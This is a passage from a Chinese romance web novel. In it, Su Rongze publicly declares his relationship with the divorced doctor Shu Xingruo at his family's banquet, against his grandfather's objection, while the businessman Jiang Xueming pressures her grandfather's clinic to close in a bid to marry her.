正当舒星若一筹莫展时,苏容泽说:“我名下有一处商铺合适,要不我们这就去看看。”他其实名下没有商铺,但决定新买一个给舒延兆。
舒延兆依然摇头:“我老了,想休息了,行止堂到此为止吧。”
“到此为止?”舒星若眉心拧紧,她熟悉的外公热爱行医救人,怎么会突然放弃当医生?
舒星若的心里有无数的疑问,但舒延兆三缄其口,舒星若决定自己去查。
从行止堂出来,舒星若问苏容泽:“能查出新房东到底是谁吗?我觉得行止堂不光是逼迁这么简单的事。”
苏容泽也这么认为,“是啊,新场地我有,但是外公的态度显然不是场地的问题。”
他立即打给宗司辰:“去查一查行止堂新房东的身份,资料越详细越好。”
“好的,苏总。”
车上舒星若一直闷闷不乐,苏容泽柔声安慰道:“不用太担心,在海市,除了季宴礼,大部分人还是肯卖我一个面子的。”
他语气里尽是自信。
舒星若浅浅笑道:“是吗?那可就拜托权势滔天的苏总啦!”
苏容泽嘴角上扬,“那你要不要做苏太太?享受一下跟我同样的生活,我的一切都可以是你的。”
舒星若扁扁嘴:“你这思路也太发散了,我们还没在一起相处多久呢。”
苏容泽说:“不用相处,可以先领证再慢慢爱上我。”
他想的是先下手为强,把证领了,不签婚前协议。
到时候苏家一万个不同意也不行,他的财产跟舒星若绑定了。
以他们利益至上的性格,只要舒星若不损害他们的利益,绝对不会逼他们离婚。
而且领证了,就能摆脱季宴礼的纠缠了。
早上他们出门的时候,还看到季宴礼那张令人讨厌的脸。
“领证?”舒星若愣住了,“我还没准备好步入下一段婚姻。”
这不跟上一段婚姻一样吗?没恋爱直接结婚,到时候又矛盾重重,一地鸡毛。
苏容泽长叹一声,心中虽然失落但是他一向尊重舒星若的选择,“随你的心意,我可以一直等你。”
下车的时候苏容泽说:“下班以后造型师和化妆师会去家里给你做造型,你一定是今晚最美的人。”
舒星若笑道:“假如我是丑八怪,你是不是就不要我了?”
“当然,你的人和脸一样重要。如果我也是丑八怪,我就不介意你的脸了。”
他倒是直白,舒星若喜欢这样的坦荡。
苏容泽抱了一下舒星若,才恋恋不舍的放她离开,这个女人让他越来越迷恋。
今晚他将把她隆重的介绍给苏家人。
到了办公室,宗司辰进来汇报:“行止堂的现房东不是个人,是一家注册在开曼群岛的离岸公司,他们在海市设了分公司。法人是个老外,幕后老板我们查了半天也查不出来。”
苏容泽惊得瞳孔都放大了:“看来此人的目的不止是行止堂关门这么简单。”
舒延兆应该是知道他真实的目的,不惜牺牲掉饱含他心血的行止堂。
苏容泽猜测对方拿行止堂来威胁舒延兆,他宁愿关门也不屈服。能让舒延兆做出这么大牺牲的人,只会是舒星若。
行止堂给无数穷人治过病,让那些绝望的人重燃希望。就冲这一点,苏容泽也不会让他关门的。
苏容泽沉声道:“务必将幕后老板找出来,保住行止堂。”
第113章 你一定会嫁给我的
晚上苏容泽驱车到舒星若家,造型师和化妆师已经为她妆造完毕。
她精致的脸庞在精致妆容、仙气礼服和夺目珠宝的衬托下,既柔又媚。姣好的身材包裹在礼服之下,走动起来腰肢如弱柳般纤细灵动。
舒星若轻声问道:“好看吗?”
苏容泽心跳都漏了一拍:“美得像仙女。”
舒星若的样子直看得苏容泽喉结滚动,浑身发热,要不是怕毁了她的精致妆容,他会立刻亲上去。
他牵起舒星若的手走入车里,“星若,我不敢想象你要是穿上婚纱该有多美。”
舒星若笑:“是你请的人厉害,才能让我这样漂亮。”
苏容泽嘴角带着坏笑:“那结婚的时候继续由他们给你做造型。”
“嗯。”
应完之后舒星若发现自己上了他的套:“我没有答应要和你结婚啊。”
他的脸靠近她,近得她都能听见他的呼吸声:“你一定会嫁给我的。”
说罢,蜻蜓点水的在她唇上一吻。
舒星若的脸上迅速漫开一片红霞,她的美更加娇艳了。
将苏容泽勾得心里更加躁动了。
舒星若低头看去,他脸红得厉害,在极力压抑着心中的躁动。
她赶紧转头看窗外,怕他会失控。
舒星若的裙摆在保姆车里占据了大半个后座,苏容泽却非常开心的贴在她身边。
舒星若纳闷:“你坐前面吧,这样挤着不难受吗?”
苏容泽一脸幸福:“跟你挨得近是天底下最开心的事,等一下见到我家里人会紧张吗?”
舒星若一脸轻松,“不会。”她现在还没有那种见家长的心态,自然不会紧张。
苏容泽喜忧参半,舒星若的轻松印证了她不是很在乎这次的会面。
苏家很大,占地2.6万平,与季家老宅风格完全不同。
全欧式的设计,入口住有希腊雕塑和音乐喷泉相得益彰,仿佛置身欧洲。
别墅的每一层都有休闲、娱乐、社交和居住四大主题,像一座现代化的宫殿。
管家早早就派了接驳车来接他们进宴会厅,苏家太大了,要是走路的话,穿着高跟鞋的舒星若脚要走废了。
接驳车一到,苏容泽和舒星若的出场牵动了现场所有人的目光。
一名与苏容泽长相颇为相似的贵妇端着一杯香槟走过来,她正是苏容泽的母亲,吉广琪。
这座豪宅的的女主人。
吉广琪虽然年过半百,但保养得极好,脸上没有一条皱纹。她眼神坦然,脸上只有胶原蛋白流失以后的凌厉与岁月沉淀后的运筹帷幄。
她生在豪门,却没有任何恋爱脑,只有对权力的渴望以及对儿子的爱。
舒星若心中不禁感慨,这样的大美人竟然被苏容泽的父亲苏嘉德辜负,小三私生子一条龙。
好在她自己不在乎,否则非要呕死不可。
吉广琪见到舒星若非常愉悦,“星若,你比上镜还要美。”舒星若的美没有攻击性,男女通吃的那种。
舒星若露出个甜甜的笑容:“您过奖了,在您面前我不算什么。您风华绝代,怪不得将容泽生得这样帅。”
一句话夸了两个人,被夸的两人都心情甚好。
因为舒星若说的是实话,苏容泽跟吉广琪的脸非常像。
吉广琪喜欢这样通透的美人,况且舒星若还救了她母亲的命。
三人在佣人的簇拥下一同入座。
苏家宴会厅是巨型长桌,舒星若的座位在苏容泽身旁。是吉广琪命人安排的,可见吉广琪对她的重视程度。
苏嘉德已经坐下了,他对苏容泽和舒星若丝毫不在意,两人跟他打招呼,他只礼貌性的点点头。
南真仪气得要命,她和苏容添的座位在最末端,表示吉广琪对她的极度轻慢。但她又不能抗议,她的亲婆婆安明霞连出席的资格都没有。
安明霞在家足足骂了三个小时的吉广琪,说她只手遮天,是现代的太后。
庆幸的是晚宴上没有媒体,传出去的话丢死人了。
让舒星若惊讶的是娱乐圈的郁蕊蕊竟然出现在南真仪的身旁,舒星若问身旁的苏容泽:“她是你们家的亲戚吗?”
苏容泽摇头:“不是的,不知道怎么被安排进来了。”
吉广琪解释道:“她是我公司的明星,顶流中的顶流,摇钱树来的。听说我回国,她央求了好久CEO要在家宴上见我,才让她来的。”
郁蕊蕊今晚精心打扮了一番,比她任何一个红毯的造型都要好看。
她穿了一条紫色抹胸公主裙,胸口上缀满玫瑰,脖子上戴着硕大的黄钻。
上次罗俊杰的婚礼上她被舒星若比下去了,这次势必要扳回一城。
可惜她没料到舒星若依然赢得毫不费力。
苏容泽的眼睛就没从她身上下来过,两人低头细语,偶尔还轻声发笑,显然是亲密的关系。
舒星若抬头看向外面,只见郁蕊蕊的目光紧紧盯着他们,眼神中带着嫉妒和渴望。
舒星若心下一沉,“容泽,郁蕊蕊看上你了。”
吉广琪也说道:“怪不得她死活要来,原来是为了你。”
苏容泽不希望留下隐患,“我现在就让人打发她走。”
吉广琪却制止道:“她参加晚宴的事已经发了微博,要是被中途赶出去,传出去对她的星途不好。这小姑娘在娱乐圈杀出重围不容易。”
吉广琪怕自己的摇钱树丢了面子,影响了郁蕊蕊后续的时尚资源。这可是白花花的银子啊。
舒星若却以为吉广琪只是单纯的心疼郁蕊蕊,敬佩的说道:“阿姨,你人真好,对年轻人这么关爱。”
苏容泽却看破了这一切,但是当面揭穿母亲的真面目不好,只悄悄给了舒星若一个警示的眼神。
舒星若秒懂,她心下骇然,原来吉广琪是这样的看重利益。
甘净莲带着吉广通夫妻俩和杨思淼一家三口来了。
甘净莲如今完全恢复了,她现在注意饮食和锻炼,气色比瘫痪之前更好了。
她见到打扮得像仙子的舒星若脸,脸上露出特别自豪的笑容。
“星若,你今天也太美了,跟容泽真般配。”甘净莲代表的是吉家,一句话铿锵有力的坐实了对舒星若的支持。
杨思淼也说:“若姐,你呀简直就是美貌与智慧的结合体。”
他瞟了一下郁蕊蕊,心想:“这个女明星可以收入囊中。”
吉广琪一眼就看穿了杨思淼的心思,狠狠地瞪了他一眼。
杨思淼吓得缩了脖子,不敢再肖想郁蕊蕊。
郁蕊蕊对吉家人的认可感到意外,不是说豪门规矩多吗?怎么对一个离过婚的女人也不挑?
而且她都二十八岁了,自己才二十四岁,苏容泽都不正眼看自己。
最后一个落座的是苏容泽的爷爷苏弘毅,这个苏家的大家长,脸上一副难以亲近的威严感。
他冷眼扫过舒星若,这女人确实很美,竟然将他那一向冷静理智的小孙子迷得神魂颠倒。
红颜祸水无疑了。
苏弘毅没看见惠萱彤一家,问道:“惠家人怎么没来?”他来之前已经听说了惠家的事,故意发难。
第114章 离过婚的女人不配进苏家的门
吉广琪云淡风轻的开口道:“惠萱彤人品太次,不配出现在苏家的晚宴上。”
惠萱彤算个什么东西,敢侮辱她儿子的心上人,没修理她已经算吉广琪仁慈了。
舒星若想不到吉广琪会这么维护自己,敢正面跟老爷子硬刚,向吉广琪投去感激的目光。
吉广琪与她相视一笑,一切尽在不言中。
苏弘毅一脸的不悦:“你现在倒是怪会自作主张的,怪不得你儿子为了个女人就停掉了与惠家的合作,还赔了九位数的违约金,置公司利益于何地?”
他的气场带着大家长式的压迫感,特意强调了苏容泽为了个女人,彰显出他的不靠谱。
面对这样的污蔑,苏容泽的脸上没有丝毫惊慌,带着上位者的沉稳:“惠家行事不端,我是东盛的董事长,有权决定跟不跟谁合作。爷爷你年纪大了,对公司管理已经生疏了。”
他的意思很明显了,苏弘毅管不着他。
“你……”苏弘毅气得手都有些抖了,他的抖不是寻常的颤抖,而是手在痉挛,有些不受控制。
舒星若注意到了这一特征,她小声提醒道:“你爷爷可能有心梗,受不了气。”
她怕苏容泽真给他气噶了,为了她气死自己的爷爷,舒星若可不想背上这个恶名。
苏容泽的脸上掠过一丝不易察觉的激动,他的激动舒星若尽收眼底,她心想:“苏家果然没有亲情。”
苏容泽轻飘飘的来了一句:“爷爷,人老了就要认命,黔驴技穷就要认输。”
他说完这句话,其他人大气都不敢出一声,生怕这场狂风暴雨波及到自己。
苏弘毅一拍桌子站了起来,怒气值拉爆:“你个臭小子,还有没有礼义廉耻了?为了一个离过婚的女人竟敢忤逆尊长,你……”
一通脾气发下来,苏弘毅心口绞痛,他眼前阵阵发黑,不是一旁的管家扶着,就栽下去了。
管家扶着他劝道:“老爷,医生说您不能动怒,小心身体。二少爷,您少说两句。”赶紧拿出医生开的药丸给他服下。
舒星若感觉苏容泽想当场把苏弘毅送走,她站苏容泽这一头,选择对苏弘毅的心绞痛无动于衷。
桌尾的苏容添立刻说道:“二弟,你看你把爷爷都气成什么样了,太不像话了。”
苏嘉德也附和道:“就是,气死了我爸我跟你没完。”
苏容泽冷眼寒光扫了他们一眼,扫得两人不寒而栗,冷哼一声,“苏家什么时候轮到你们两个指手画脚了?”
他的声音不大,但充满上位者的压迫。
两人立刻噤声。
东盛集团的董事长是他,这些年他通过增发股票,将苏家其他人手里的股份逐渐稀释。
又利用杨家和吉家的现金流,在金融市场上大肆购入东盛股票,成了东盛第一大股东。
掌握着决策权,在场的所有人,包括苏弘毅都得仰他鼻息。
趁着苏弘毅一口气上不来之际,甘净莲开口说道:“亲家,你又何必这么动怒?容泽的能力有目共睹,也只有他有能力将你们苏家做大做强。为了区区一个惠家不不值当。”
她举起手中的杯子,说道:“今天是欢迎我的女儿女婿回国的家宴,和气生财,欢迎回国!”
苏容泽和舒星若率先举杯,苏容泽说道:“欢迎爸妈归国。”
舒星若也说道:“欢迎叔叔阿姨回国。”
除了苏弘毅,其他人纷纷举起酒杯,“欢迎回国!”
吉广琪笑着说道:“妈,谢谢您的祝福,也谢谢大家的祝福。”说罢,她一饮而尽。多年商场的浸淫,让她练就了一身好酒量。
舒星若微微蹙眉,出于职业习惯她对豪饮一向不赞同。
吉广琪拉起舒星若的手,接着说道:“今天我要特别感谢星若,是她妙手回春治好了我的母亲。让我母亲重新拥有了高质量的生活,我们吉家对你感激不尽。星若,太谢谢你了!”
郁蕊蕊不屑一顾,治病救人本来就是医生的天职,苏家母子需要这么大动干戈的感谢她吗?
杨思淼也说道:“对,我若姐的医术那真是牛逼,各种病手到擒来。她不仅漂亮,心里特别好,脑子还特好使。你们说,上哪去找这么好的女人?”
杨思淼的一番吹捧让他母亲吉广晴心中警铃大作,他该不会看上舒星若了吧?
表兄弟喜欢同一个女人,那就太难看了。
吉广晴瞪了他一眼:“长辈说话,你插什么嘴?”
吉广琪也觉得杨思淼不对劲,给了他一个眼刀,杨思淼立马闭嘴。
甘净莲却说:“思淼说得没错,星若确实是个难得的好姑娘。”她说完看了一眼苏容泽。
苏容泽牵起舒星若的手,当场宣布道:“这么好的姑娘,当然要成为我的女朋友了。”他脸上刚刚的阴霾已经散去,满脸笑意,眼中盛着爱意。
这样温柔有爱的苏容泽是家里人从来没见过的样子。
舒星若大庭广众的被他认爱,确定身份,羞得满脸通红。
她这样娇羞的模样,在苏容泽看来,更加的动人。
杨思淼带头鼓掌:“太好了,若姐终于成了二哥的女朋友。”
这下轮到一众长辈看不懂了,杨思淼不是喜欢舒星若吗?怎么舒星若成了苏容泽的女朋友,他这么高兴。
大家心照不宣的交换了一个眼神,只要表兄弟不喜欢同一个女人就好。
纷纷恭喜苏容泽脱单,找到了心爱的女人。
苏容添夫妻俩一脸不屑。
郁蕊蕊有点失控,险些捏碎了手里的酒杯。
舒星若一个二婚的女人,凭什么被豪门接受?
刚缓过来的苏弘毅差点又口吐白沫气背过去,他厉声道:“不行,我苏家绝不允许一个离过婚的女人进门。”
苏容泽嘴角扯过一个冷笑,“离过婚又怎么样?爷爷,你比古人还要封建。汉景帝的王皇后曾经嫁过人生过孩子、武则天当李治的皇后前是唐太宗的妃子、刘娥不仅结婚生子过她还没有生育能力,宋真宗一样把赵祯送给她当儿子,还给了她皇后之位。”
“古代的皇帝都不介意女人之前的婚史,我们苏家何德何能比皇室还牛?张口闭口就是嫌弃星若离过婚。她离婚是她前夫的错,又不是她的问题。我凭什么不能跟她在一起?”
第115章 睡男明星多好
郁蕊蕊暗暗佩服,苏容泽真是绝世好男人。
大把的男人在网上叫嚣着要娶处女,什么二婚女人就是破鞋的鬼理论。
她有点自惭形秽,连自己之前都看不起舒星若二婚,人家一个豪门总裁压根就不在乎这些烂俗的东西。
果然他们的精神层面完全不一样,是自己妄想了苏容泽。
舒星若默默的给苏容泽点了个赞,她从不觉得自己离过婚就低人一等。
只是觉得自己没有生育能力,他又喜欢孩子,怕耽误苏容泽。
杨思淼看热闹不嫌事大,觉得苏容泽帅爆了,差点就给苏容泽鼓掌了,被眼尖的吉广晴一把拉住。
她小声说:“别添乱了,你没看到他爷爷黑着脸吗?”
杨思淼这才放下蠢蠢欲动的手,把苏家最权威的长辈气出毛病了,他爸非削他不可。
苏弘毅被苏容泽的一番言论震惊到了,他虽然经商能力好,从不知道这么多历史典故。
他跟大部分人一样,觉得二婚不配嫁进豪门。
隐隐觉得苏容泽的话有道理。
但是苏容泽敢当众挑战他的权威,这是他不能容忍的。
苏弘毅大声呵斥道:“臭小子,反了天了。总之有我在一天,我绝不让这个女人进门,有辱门楣。”
苏容泽嗤笑一声:“爷爷,我的婚事你做不了主,我爱娶谁就去谁。我这辈子只要舒星若,苏家的门,她进定了。”
一旁的苏嘉德想不到他儿子竟然可以有种到这程度,他虽然痛恨儿子夺了他的权,此时也佩服他又反抗的勇气,自己当年被逼婚只能乖乖顺从。
苏弘毅一口气没上来,翻了个白眼,直接晕了过去,管家赶紧打电话叫他的私人医生过来。
苏弘毅被抬了进去,这边大伙跟没事人一样的继续吃饭。
苏弘毅在苏家颐指气使太多年,没有一个人喜欢他。
苏容泽冷声说道:“今天爷爷晕倒的事谁要是传出去,我让你们吃不了兜着走。”
他郑重的警告苏容添夫妻俩不要搞事,利用苏弘毅被气晕的事抹黑舒星若和自己。
散席以后,吉广琪领着舒星若在花园里散步。
苏容泽则在客厅陪甘净莲他们说话。
正值隆冬时节,苏家的花园里绽放着无数的蜡梅,传来阵阵幽香。漫步其间,令人沉醉。
吉广琪说:“星若,我儿子是第一次谈恋爱,我看得出来,他对你特别上心。他要是有什么做的不好的地方你就指出来,他会改的。”
舒星若尴尬的说道:“说来不怕您笑,我虽然结过婚,但也是第一次谈恋爱。”
吉广琪震惊:“你跟你前夫没有感情就结婚了?”
她知道舒星若的家世,不是联姻,按道理就是为了爱情而结婚的。
舒星若点头:“当年我暗恋他,被他的前女友暗算送上了他的床。随后她又带人抹黑我们,为了平息舆论,我们领证结婚。婚后他一直仇恨我,我俩从来没有恋爱过。”
吉广琪闻言,心疼的拉起舒星若的手:“好孩子,怎么遇到这样的烂人?我听说季家那混小子的腿是你治好的,他不仅不感恩,还冷落你,你离开他就对了。”
舒星若从未想过自己竟然这样幸运,之前当她是女儿的韦瑛,现在又是这样通情达理的男朋友妈妈。
她感动的说道:“阿姨,您真好!”
吉广琪跟舒星若一见如故,两人聊得特别开心。
舒星若为她打抱不平:“您既美又有能力,真不知道容泽的爸爸是不是眼瞎,竟然还出轨。”
她看过安明霞的照片,无论是气质还是样貌,都被吉广琪全方位吊打。
吉广琪淡然一笑:“他呀,觉得我太强势了,压不住我,就在外面找莺莺燕燕。你放心,我也不亏待自己。”
这话一出,舒星若惊得下巴都快掉了,还是他们老年人会玩。
吉广琪见到舒星若震惊的表情,大笑道:“苏嘉德在外面鬼混,我也可以让自己快乐啊,我不可能让自己受委屈的。”
她眨了眨眼睛:“你猜我为什么要开娱乐公司?”
吉广琪开的娱乐公司她听苏容泽提过一嘴,他们公司就郁蕊蕊一个女明星,其他的都是样貌帅气又年轻的男明星,几乎个个都是娱乐圈的颜霸。
舒星若不敢想,结结巴巴的说:“您不会睡您公司的小鲜肉吧?”
吉广琪觉得她大惊小怪,一副满不在乎的样子:“当然睡啦,年轻的肉体多好,既帅又持久。而且他们是艺人,不会将这事传扬出去,非常安全。谁会守着苏嘉德那个年老色衰的老渣男?”
舒星若的三观再次被刷新,轻声问道:“既然这样,您干嘛不离婚?”
吉广琪霸气的说道:“我不离婚是不想便宜了别的女人,凭什么苏家的家产落入他人之手?苏家只能是我儿子的。”
舒星若自然的挽着吉广琪的胳膊,虽然她不苟同吉广琪的行为,但觉得她真的是个好妈妈。
“那您为什么不弄死安明霞呢?”
吉广琪说:“一个苍蝇而已,不值得我下手。你以为苏嘉德就她一个出轨对象吗?外面一大把。安明霞却只能找苏嘉德,她隔山差五的会找他闹的。她仗着生了苏容添就格外高人一等,以她是苏家长子生母自居,让苏嘉德尝尝泼妇的味道也不错。”
这一招隔岸观火果然高明,让渣男和老三都不舒服,在怨恨中共度余生。
怪不得苏容泽只花了五年就全面掌控东盛集团,原来遗传了吉广琪的高智商。
两人散步回来,苏容泽见他们相处融洽,非常开心。
他傲娇的想,季宴礼的母亲能做到的,他的母亲也能做到。
回去的车上,苏容泽问舒星若:“我们要官宣在一起了吗?”
舒星若想了想说道,“随便你。”虽然季宴礼知道了会发疯,但她可不想再为他活着。
苏容泽心里一阵甜蜜,舒星若是认可自己了。
他自拍了一张两人脸贴脸的照片,发到朋友圈:【在一起了!】
舒星若发了一条一模一样的朋友圈,两人默契的笑着,苏容泽将她拥入怀中。
朋友圈发出去不到五分钟,就被季宴礼刷到了。
季宴礼当即气炸,电话轰了进来。
第116章 我不会让你们在一起的
舒星若刚接起电话,就传来季宴礼的咆哮声:“舒星若,你怎么能跟他在一起?”
舒星若的耳底被他炸得生疼,皱眉将手机拿得远了一点,说道:“你冷静一些,容泽对我很好,他爱我护我。我为什么不能跟他在一起?”
季宴礼迅速提取到了关键信息,“对你很好?那就是你并不爱他,你只是因为感动选择跟他在一起。”
被季宴礼这样一说,舒星若也一阵心惊,难道自己真的不爱苏容泽,只是感动?
她望向身旁英俊的男人,他的眼神里尽是爱意,这样好的男人她不爱,难道是瞎吗?不会的,她就是爱他。
“你别臆想了,我不爱他干嘛要和他在一起?”
她接着说道:“我们离婚了,往日的一切都随风而散,你不甘心也没有用。我在你身边照顾了你六年,你就当报我当年对你的救命之恩,放手吧。”
自从舒星若离开之后,季宴礼感觉家里到处都是她的身影:她在厨房里耐心的安排佣人做药膳给他、她温柔的帮他按摩腿、她给他放好药浴、他头疼时为他按摩头上各大穴位、临睡前给他点上熏香……
一切的一切历历在目,回忆像一把把尖刀将他的心刺得千疮百孔。
原来舒星若早就住进了他的心里。
都是自己的愚蠢让何欣算计到了,令他失去了这世上最爱他的女人。
他在家里一遍遍的说着:“星若,我错了,我该怎样将你找回来?”
这些日子以来,他每晚失眠,只能靠着安眠药和酒精才能入睡。
他想用季氏的股权挽回她,股权变更事项他都安排好了,只等她签字。
想不到等来的是她宣布恋爱了,恋爱对象还是他最讨厌的苏容泽。
季宴礼说:“星若,我已经错了一次,我把你弄丢了,这一次我不会放手的。”如果放手,他不知道自己那颗残破的心要如何修补。
失去舒星若他失去了往上攀爬的动力,每天活得如同行尸走肉。
他发了疯的要找出何欣父女,弄死他们,让舒星若回心转意。
“我不会让你们在一起的。”
季宴礼丢下一句话便挂了电话,舒星若眉心跳动,一股不好的预感升了上来。
“他可能还会发疯。”
苏容泽无比自信的握着她的手,“我妈已经认可你了,苏家没人能反对我们在一起了。”他俯身亲了一口舒星若的粉唇:“除非你真的不爱我。”
晚宴前季宴礼的暗示还让他忐忑不安,怕母亲会反对他们在一起。他可以不在意苏弘毅和苏嘉德的想法,但是吉广琪他不愿意忤逆。
舒星若伸出手臂勾着他的脖子,因着体内酒精的缘故,她愈发大胆:“我不确定有没有爱上你,但你牵我的手我觉得舒心,在你身边我觉得很安心。只要有你,我就不会被人欺负。我愿意跟你在一起。”
苏容泽笑着说:“如果这还不是爱,那是什么呢?”
“嗯,那就是爱上了。”
一回家,他们就一起钻进舒星若的房间。
苏容泽抵住她,身体火热,密密麻麻的吻落了下来。吻得舒星若意乱情迷,呼吸急促。
谁说他是第一次谈恋爱,明明这么会亲。
苏容泽抚摸着她如丝缎般光滑的后背,轻声问道:“若若,我们可以在一起吗?”
舒星若刚要回答,苏容泽的电话响了起来,苏容泽烦躁的看了一眼,是他母亲。
苏容泽眉头紧拧的接起来,“妈,什么事?”
吉广琪声音里带着愠怒:“你没告诉我星若没有生育能力。”
苏容泽捂住自己的脑门,头都大了一圈,一定是季宴礼那个浑蛋捣的鬼。他本想瞒天过海的,只要结了婚,这事就算爆出来问题也不大。
苏容泽说:“上次她被她前夫的小三害得流产,失去了生育能力。她外公医术比她还高,正在给她调理。规划局的褚主任备孕多年都失败了,她外公调理了一阵子褚主任就怀上了。”
吉广琪了解她的儿子,是个认死理的主,今天餐桌上他都说了,非舒星若不娶。
“我从不反对你们在一起,但是如果星若不能生的事被苏家人知道了,他们一定会来搞事。你想光明正大的迎娶她,就等她的病好了再说。”
吉广琪说的正是苏容泽担心的,他的脸沉入到一片黑暗之中,“知道了,妈。”
舒星若见他脸色不好,问道:“你妈反对我们在一起?”
她听到苏容泽亲口承认自己不能生,就明天这道鸿沟无法逾越。
即使苏容泽能接受,苏家人也不同意。他们不是关心苏容泽,是要找个攻击他的利器。
苏容泽摇头:“我妈不反对,她只是提醒我。”
他亲了亲舒星若,将心里强烈的欲火扑灭,“若若,我会一直等你。晚安!”
他不是个重欲的人,只有舒星若才会让他意乱情迷。但是如果将来不能娶她,他不会轻易碰她。
“晚安!”
季宴礼接到电话:“苏容泽住的客房灯已经亮了起来。”
他满意的笑了:“星若,你这辈子只能是我的。”
言永飞最近发现他精神状态不太对,寸步不离的陪他。
“那明天的出差您还去吗?”
季宴礼摩挲着酒杯,将杯中的龙舌兰一饮而尽,烈酒穿过食管,让他的胃阵阵灼烧。
“去,我要好好的为星若打下一片商业帝国。苏容泽能给的我都给得了,苏容泽给不了的我照样给。毕竟我们之间还有许许,他们之间可什么都没有。”
言永飞心想:“可你们之间还隔着那个该死的小三和一个未出世的孩子,你太偏执了。”
他内心比较心疼舒星若,离开了前夫,想正常谈个恋爱都不行。
这就是嫁错人的代价。
几天后,行止堂的门口贴出了公告:因为房屋租赁问题,行止堂将于七天后关门。
行止堂原本寂寂无名,只在小范围内有口皆碑。
因着舒星若的行止生物大火,很多被行止堂治好顽疾的人都在网上分享,行止堂在互联网上声名大噪。
行止堂要关门的消息很快上了热搜,舒星若看到了。
她打给苏容泽:“找到新房东的踪迹了吗?”
第117章 舒星若砸伤坏老头
苏容泽的邮箱里躺着一份调查报告,他们的人花了几天时间,费了很大的功夫,才从蛛丝马迹中查到那个离岸公司的幕后老板是姜学名。
苏容泽内心震动,如果是姜学名的话,他是冲着舒星若来的。
想不到那坏老头一直不死心,还在觊觎舒星若。
他不敢正面硬钢,就采用迂回战术,用行止堂来逼迫舒延兆同意他们的婚事。
真是无耻至极。
舒星若听完,怒火中烧:“我手上有他药物不合规的资料,去举报。他敢让行止堂关门,我就敢让他损失大把的钱。”
主要是这三款药已经退市,大家反应不会那么强烈。伤不了姜学名的根本。
苏容泽说:“我觉得姜学名不光用租赁合同拿捏行止堂那么简单,他肯定还有后招。”
揽月制药虽然没有东盛集团实力雄厚,但在医药界,那是数一数二的存在。
他要整行止堂,可以说是易如反掌。
舒星若明白了:“怪不得那天外公要把我托付给你,他宁愿关掉行止堂,也不肯让我跟姜学名。”
行止堂是舒延兆一生的心血,她还想着将来去行止堂坐诊呢。
她绝不允许行止堂在恶人的要挟下,黯然离场。
“容泽,我现在想去行止堂找外公找他问个清楚。”
苏容泽为难的说道:“我待会有个重要的会,暂时不能陪你去了。我安排几个保镖跟着你,以免姜学名使阴招。”
“嗯。”
行止堂的门口已经被媒体人和病人围得水泄不通,媒体人想发掘头条新闻,病人怕病没治好,以后更难受了。
舒延兆尽力的解释:“对不起各位,行止堂的租赁合同到期了。因为某些原因导致无法继续经营,我向各位感到抱歉。我年纪大了……”
“行止堂不会关门。”舒星若出现在门口,打断了舒延兆要退休的言论。
记者们立刻问道:“舒总,以你的财力,行止堂就算搬迁也不是问题,为什么要停业?”
舒星若手握行止生物,同时还是瑞祥药业的股东,记者们事先做好功课了。
舒星若神色冷峻:“暂时无可奉告,等我们内部沟通完,再向外界公布。请大家不要再拥挤,妨碍病人看病。”
人群中有人喊道:“对,我们要相信舒老先生和舒小姐,他们不会不管病人的。”
舒星若挥了挥手,她身边的保镖们安排记者们离开,让病人排队进入行止堂看病。
恢复秩序之后,舒星若跟着舒延兆走进办公室。
“外公,我已经知道是姜学名那个王八蛋逼您了。”不是气极,她一般不说脏话。
舒延兆意外,他们竟然这么快就查出来了,苏容泽还是挺有实力的。
“姜学名心术不正,也怪我当年引狼入室。他要我们尽快搬迁,我想着年纪大了,不折腾了,就关了行止堂吧。”
舒星若说:“外公,我可以把地方装修好,钱的事您不用担心,我有。您只要安心带着行止堂的员工搬过去就行了。”
舒延兆摇头拒绝,他的脸色沉重起来:“姜学名说了,无论行止堂搬到哪里去,他都会找医闹来骚扰我们,还会找上级部门来施压,直到我们关门大吉。除非……除非……”
舒延兆叹了口气,姜学名的要求太离谱,他说不出口。
“除非你把星若嫁给我。”姜学名的声音响起。
舒星若看见他就火冒三丈,直接拿起桌上的镇纸砸了出去。
舒星若动作太快,姜学名没来得及躲,实打实的挨了这一下,头被砸出了血。
他惨叫一声,楚建业抢了上来,怒气冲冲的要动手打舒星若。
舒星若身边的保镖紧密的护了上来,楚建业也动不了手,双方大眼瞪小眼的对峙着。
姜学名一脑门的血,他想不到舒星若竟然这么狠,直接砸伤自己。
“星若,快点给我包扎。”他是熊猫血,失血过多很麻烦。
舒星若冷漠的瞪了他一眼,“你爱死哪死哪去,行止堂的药材不会给畜生使用。”
楚建业喝道:“不许对我们姜总无理。”
姜学名说:“先送我去包扎。星若,你在这等我,一会我来找你。”
“找你妹,你死了这条心,我就是十辈子不嫁人我也不会嫁给你。”
姜学名想不到她的性格竟如此刚烈,跟柔情似水的舒月完全不同。
但是他有信心,一定能将她娶到手。
姜学名走后,舒星若像只泄了气的皮球,刚砸姜学名的狠劲消失殆尽。
她眼眶泛红:“外公,对不起,是我连累您了,害得行止堂开不下去。”
舒延兆反过来安慰她:“傻丫头,天下无不散的宴席,行止堂开了几十年了,总有要落幕的时候。我也可以带你外婆四处走走,散散心。等我们回来,我就天天教你医术,把我毕生所会全部传授给你。你不是也在给人治病吗?行止堂的精神永不灭。”
舒星若摇头:“姜学名是铁了心的要娶我,行止堂这边不行,他肯定又会另想诡计。待会他来,我会让他明白他永远都娶不了我。”
她一定要保下行止堂,但绝不会嫁给姜学名,她想起他那张脸就恶心。
舒星若的电话响起,是姜学名:“星若,我在济慈医院,你现在过来,我找你谈。”
“好!”
舒星若对舒延兆说:“外公,姜学名约我去跟他谈。”她环顾了一眼身边高大威猛的保镖,“有他们在,您放心,我不会吃亏的。”
舒延兆叮嘱道:“姜学名为人狠毒,你千万要当心。”
舒星若郑重的点头:“我会的。”
济慈医院是一家老牌医院,没什么停车位。
保镖载着舒星若找了半天,才在巷子里找到地方停好车,他们下车的时候姜学名刚好从医院里包扎好出来。
伤口太大,他刚在医院缝了好几针。
姜学名看到舒星若并不生气,不知道为什么他一见到舒星若就心情好。
他笑嘻嘻的说:“星若,我福大命大,你那镇纸再砸歪一点我就一命呜呼了,那样你就牢底坐穿了。”
舒星若冷笑道:“那我是不是要感谢你祸害遗千年?”
第118章 你们到底是什么关系
姜学名说:“话不能这样说,我是一名企业家,解决了那么多社会就业,我是个对社会有贡献的人。你不能因为我喜欢你,就说我是祸害。我虽然大你二十几岁,但是我是真心爱你,想娶你。”
舒星若火了:“你要不要听听你自己在说什么?”大二十几岁还敢说爱她,这老头真的疯了。
姜学名嫌他们身边有人碍事,“建业,你往后退一退,妨碍我们说话了。”
